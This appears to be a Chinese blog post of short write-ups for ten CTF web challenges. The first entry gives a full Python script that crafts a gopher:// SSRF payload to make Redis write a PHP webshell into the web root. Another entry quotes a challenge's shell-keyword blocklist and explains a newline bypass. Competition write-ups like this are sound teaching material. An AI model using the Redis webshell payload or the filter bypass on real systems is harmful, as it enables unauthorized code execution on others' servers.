文章目录
- [GKCTF2020]EZ三剑客-EzWeb
- [FBCTF2019]RCEService
- [BSidesCF 2019]Kookie
- [CISCN2019 华北赛区 Day1 Web5]CyberPunk
- [极客大挑战 2019]Secret File
- [ACTF2020 新生赛]Include
- [强网杯 2019]随便注
- [SUCTF 2019]EasySQL
- [极客大挑战 2019]Havefun
- [护网杯 2018]easy_tornado
- 参考文章
[GKCTF2020]EZ三剑客-EzWeb
刚刚打开网页,通过隐藏参数发现个这个,啥东西???然后看了下wp发现是ssrf,好吧我没啥经验
绕过了file协议,少了file://
的两个//
之后看了下wp说,是要打内网某主机。遂扫描d段得
端口是6379
利用gopher协议打redis
'''
之后访问ip/shell.php即可
'''
import urllib
protocol = "gopher://"
ip = "173.228.247.12" # 运行有redis的主机ip
port = "6379"
shell = "\n\n<?php system(\"cat /flag\");?>\n\n"
filename = "shell.php"
path = "/var/www/html"
passwd = ""
cmd = ["flushall",
"set 1 {}".format(shell.replace(" ", "${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
payload = protocol + ip + ":" + port + "/_"
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x.replace("${IFS}", " ")))) + CRLF + x.replace("${IFS}", " ")
cmd += CRLF
return cmd
if __name__ == "__main__":
for x in cmd:
payload += urllib.parse.quote(redis_format(x))
print(payload)
[FBCTF2019]RCEService
题目源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
preg_match只会去匹配第一行,所以这里可以用多行进行绕过
源码中可以看到putenv(‘PATH=/home/rceservice/jail’)已经修改了环境变量,我们只能用绝对路径来调用系统命令
cat命令在/bin中保存
所以构造出payload ,%0A是换行符
[BSidesCF 2019]Kookie
比较简单,但是我有点傻刚刚没想到这个
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
啊这这道题一点都不会,看了下师傅的WP
[极客大挑战 2019]Secret File
跟着题目提示一步一步来,太简单了,没啥意思
[ACTF2020 新生赛]Include
过于简单了,复习一下filter协议的使用
[强网杯 2019]随便注
复习了下预处理语句的使用吧还是很舒服哈哈哈,更改表名那个不太喜欢
[SUCTF 2019]EasySQL
还是一个堆叠注入
啊这
常规注入也不行我哭了啊啊啊,试一下预处理语句呐,再次失败
在oracle 缺省支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 缺省不支持。需要调整mysql 的sql_mode
模式:pipes_as_concat 来实现oracle 的一些功能
[极客大挑战 2019]Havefun
easy
[护网杯 2018]easy_tornado
唯一需要注意的一点就是md5生成算法得用python,因为tornado模板是python的
参考文章
PHP利用PCRE回溯次数限制绕过某些安全限制